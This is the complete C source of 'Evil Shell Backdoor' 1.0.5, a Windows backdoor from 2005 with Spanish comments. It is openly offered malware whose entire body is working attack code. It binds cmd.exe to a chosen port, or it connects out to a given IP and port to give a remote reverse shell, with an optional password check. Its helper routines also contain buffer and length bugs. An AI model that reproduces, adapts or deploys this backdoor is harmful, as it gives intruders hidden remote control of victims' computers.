/*
====================================================================================
||  ##           #######  ##   ##    ##     #######   #######       ##    ##  ##  ||
||  ##           ##    ##  ## ##  ########  ##        ##         ######## ## ##   ||
||  ##     ##### ########   ###      ##     #######   #######       ##    ####    ||
||  ##           ##    ##   ##       ##     ##             ##  ###  ##    ## ##   ||
||  ######       #######    ##       ##     #######   #######  ###  ##    ##  ##  ||
====================================================================================

Nombre: Evil Shell Backdoor
Version: 1.0.5
Fichero: Evil.Shell.Backdoor_1.0.5.c
Descripcion: Devuelve Bind Shell por el puerto que se le indique, o reverse shell al
			 Ip:Puerto que se le indique, con posibilidad de poner pass a la conexion
Autor: Lympex
Contacto: 
	+ Web: http://l-bytes.tk
	+ Mail: lympex[at]gmail[dot]com
Fecha: 17/08/2005

Compilado con: Visual C++ 6.0

Greetz:
-------
orphen_nb
HaCkZaTaN
P[i]

*/

#include <stdio.h>
#include <winsock2.h>

//la librería del socket
#pragma comment(lib,"ws2_32")

/*devuelde la descripción del error, a partir de su código*/
char *MensajeError(DWORD error_num);

/*
FUNCIÓN CHOP($str); (TRADUCIDO DE LENGUAJE PERL) - by Lympex
quita el último caracter de una string
*/
char chop(char *variable);

/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
/*estructura con los datos para realizar la conexion*/
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso en el que volcar los datos/eventos*/
PROCESS_INFORMATION info_proc; /*salida del proceso de la shell*/

/*para comprobar la password en caso de que exista*/
char passwd[100];
unsigned int i;

int main(int argc, char *argv[])
{
	/*BINDEA UNA SHELL AL PUERTO INDICADO*/
	int BindShellPort(short port, char *pwd);
	/*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
	int ReverseShell(char *Ip, short port, char *pwd);
	/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
	char *HostIp(char *Host);

	printf("\n#####################################################");
	printf("\n#    -[ Evil Shell Backdoor 1.0.5 - by Lympex ]-    #");
	printf("\n#---------------------------------------------------#");
	printf("\n#            Windows Evil Shell Backdoor            #");
	printf("\n#---------------------------------------------------#");
	printf("\n# Contacto:                                         #");
	printf("\n#   + HomePage: http://l-bytes.tk                   #");
	printf("\n#   + Mail: lympex[at]gmail[dot]com                 #");
	printf("\n#####################################################\n");

	//comprobamos los argumentos
	if(argc<3 || argc>6)
	{
		printf("\n[+] Usos:");
		printf("\n    + Bind Shell: %s -b 5968 <opcion>",argv[0]);
		printf("\n    + Rev. Shell: %s -r localhost 5968 <opcion>\n",argv[0]);
		printf("\n[+] Opcion:");
		printf("\n    + -p <pwd>\n");
		ExitProcess(0);
	}

	printf("\n[+] Evil Shell Backdoor 1.0.5 corriendo con PID=%d\n",GetCurrentProcessId());

	//si es bind
	if(!strcmp(argv[1],"-b"))
	{
		if(argc>=5)
		{
			BindShellPort((short)atoi(argv[2]),argv[4]);
		}else{
			BindShellPort((short)atoi(argv[2]),NULL);
		}
	}else if(!strcmp(argv[1],"-r")){
		
		if(argc>=6)
		{
			ReverseShell(HostIp(argv[2]),(short)atoi(argv[3]),argv[5]);
		}else{
			ReverseShell(HostIp(argv[2]),(short)atoi(argv[3]),NULL);
		}
	}else{
		printf("\n[!] Parametro incorrecto\n");
	}

	ExitProcess(0);
}

/*BINDEA UNA SHELL AL PUERTO INDICADO*/
int BindShellPort(short port, char *pwd)
{
	/*=========================================
	 COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
	=========================================*/
	printf("\n[+] Creando el Socket...");
	/*iniciamos el socket*/
	WSAStartup(MAKEWORD(2,2), &wsaData);
	/*asociamos*/
	//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
	Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
	/*rellenamos la estructura*/
	Winsock_In.sin_port=htons(port);
	Winsock_In.sin_family=AF_INET;
	Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
	/*unimos el socket*/
	if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
	{
		//printf("ERROR - Error al bindear el socket\n");
		printf("ERROR - %s",MensajeError(GetLastError()));
		WSACleanup();
		return 1;
	}
	/*lo ponemos a la escucha, a la espera de clientes*/
	if(listen(Winsock,5)==SOCKET_ERROR)
	{
		//printf("ERROR - Error al poner el socket a la escucha\n");
		printf("ERROR - %s",MensajeError(GetLastError()));
		/*salimos*/
		printf("\n[+] Cerrando socket...");
		WSACleanup();
		printf("OK\n");
		return 1;
	}else{
		printf("OK");
	}
	printf("\n[+] Esperando conexion por el puerto %d...",port);
	/*asociamos la conexión establecida a otro socket*/
	if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
	{
		//printf("ERROR - Error al aceptar\n");
		printf("ERROR - %s",MensajeError(GetLastError()));
		/*salimos*/
		printf("\n[+] Cerrando socket...");
		WSACleanup();
		printf("OK\n");
		return 1;
	}else{
		printf("OK");
	}

	if(pwd!=NULL)
	{
		printf("\n[+] Esperando password...");
		do
		{
			send(Sock,"[+] Introduce la password de la shell: ",strlen("[+] Introduce la password de la shell: "),0);
			i=recv(Sock,passwd,100,0);chop(passwd);
			passwd[i]='\0';
		}while(strcmp(pwd,passwd));//mientras que lo que recibamos no es igual a la contraseña
		printf("OK");
		send(Sock,"\n",strlen("\n"),0);
	}

	printf("\n[+] Lanzando shell...");

	/*=========================================
	             LANZAMOS LA SHELL
	=========================================*/
	//rellenamos la estructura
	memset(&start_proc,0,sizeof(start_proc));//limpiamos
	start_proc.cb=sizeof(start_proc);
	start_proc.dwFlags=STARTF_USESTDHANDLES;
	start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Sock;
	//lanzamos la shell
	if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
	{
		//printf("ERROR");
		printf("ERROR - %s",MensajeError(GetLastError()));
		/*salimos*/
		printf("\n[+] Cerrando socket...");
		WSACleanup();
		printf("OK\n");
		return 1;
	}else{
		printf("OK\n");
	}

	return 0;
}

/*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
int ReverseShell(char *Ip, short port, char *pwd)
{
	/*=========================================
	 COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
	=========================================*/
	printf("\n[+] Creando el Socket...");
	/*iniciamos el socket*/
	WSAStartup(MAKEWORD(2,2), &wsaData);
	/*asociamos*/
	//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
	Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
	/*rellenamos la estructura*/
	Winsock_In.sin_port=htons(port);
	Winsock_In.sin_family=AF_INET;
	Winsock_In.sin_addr.s_addr=inet_addr(Ip);

	if(Winsock==INVALID_SOCKET)
	{
		//printf("ERROR");
		printf("ERROR - %s",MensajeError(GetLastError()));
		/*salimos*/
		printf("\n[+] Cerrando socket...");
		WSACleanup();
		printf("OK\n");
		return 1;
	}else{
		printf("OK");
	}

	printf("\n[+] Conectando con %s:%d...",Ip,port);
	/*conectamos*/
	if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
	{
		//printf("ERROR");
		printf("ERROR - %s",MensajeError(GetLastError()));
		/*salimos*/
		printf("\n[+] Cerrando socket...");
		WSACleanup();
		printf("OK\n");
		return 1;
	}else{
		printf("OK");
	}

	if(pwd!=NULL)
	{
		printf("\n[+] Esperando password...");
		do
		{
			send(Winsock,"[+] Introduce la password para la shell: ",strlen("\n[+] Introduce la password para la shell: "),0);
			i=recv(Winsock,passwd,100,0);chop(passwd);
			passwd[i]='\0';
		}while(strcmp(pwd,passwd));
		printf("OK");
		send(Winsock,"\n",strlen("\n"),0);
	}

	printf("\n[+] Lanzando shell...");

	/*=========================================
	             LANZAMOS LA SHELL
	=========================================*/
	//rellenamos la estructura
	memset(&start_proc,0,sizeof(start_proc));//limpiamos
	start_proc.cb=sizeof(start_proc);
	start_proc.dwFlags=STARTF_USESTDHANDLES;
	start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Winsock;
	//lanzamos la shell
	if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
	{
		//printf("ERROR");
		printf("ERROR - %s",MensajeError(GetLastError()));
		/*salimos*/
		printf("\n[+] Cerrando socket...");
		WSACleanup();
		printf("OK\n");
		return 1;
	}else{
		printf("OK\n");
	}

	return 0;
}

/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host)
{
   WSADATA wsaData;
   struct hostent *Dire;

   /*creamos el socket y cogemos el hostname*/
   if(WSAStartup(MAKEWORD(1, 1), &wsaData)!=0 || (Dire=gethostbyname(Host))==NULL)
   {
	   return NULL;
   }

   /*devolvemos la ip*/
   return inet_ntoa(*((struct in_addr *)Dire->h_addr));
}

//devuelde la descripción del error, a partir de su código
char *MensajeError(DWORD error_num)
{
	char *lpMsgBuf;

	//cojemos el mensaje del error
	FormatMessage( 
		FORMAT_MESSAGE_ALLOCATE_BUFFER | 
		FORMAT_MESSAGE_FROM_SYSTEM | 
		FORMAT_MESSAGE_IGNORE_INSERTS,
		NULL,
		error_num,
		0,
		(LPTSTR) &lpMsgBuf,
		0,
		NULL 
	);

	return lpMsgBuf;
}

//FUNCIÓN CHOP($str); (TRADUCIDO DE LENGUAJE PERL) - by Lympex
//quita el último caracter de una string
char chop(char *variable)
{
	char *tmp;
	unsigned int i;

	tmp=(char *) malloc(strlen(variable)*sizeof(char));
	if(tmp==NULL)
	{
		printf("\n[!] Error reservando memoria!\n");
		return;
	}

	strcpy(tmp,variable);

	for(i=0;i<strlen(tmp)-1;i++)
	{
		variable[i]=tmp[i];
		variable[i+1]='\0';
	}

	return tmp[strlen(tmp)];
}
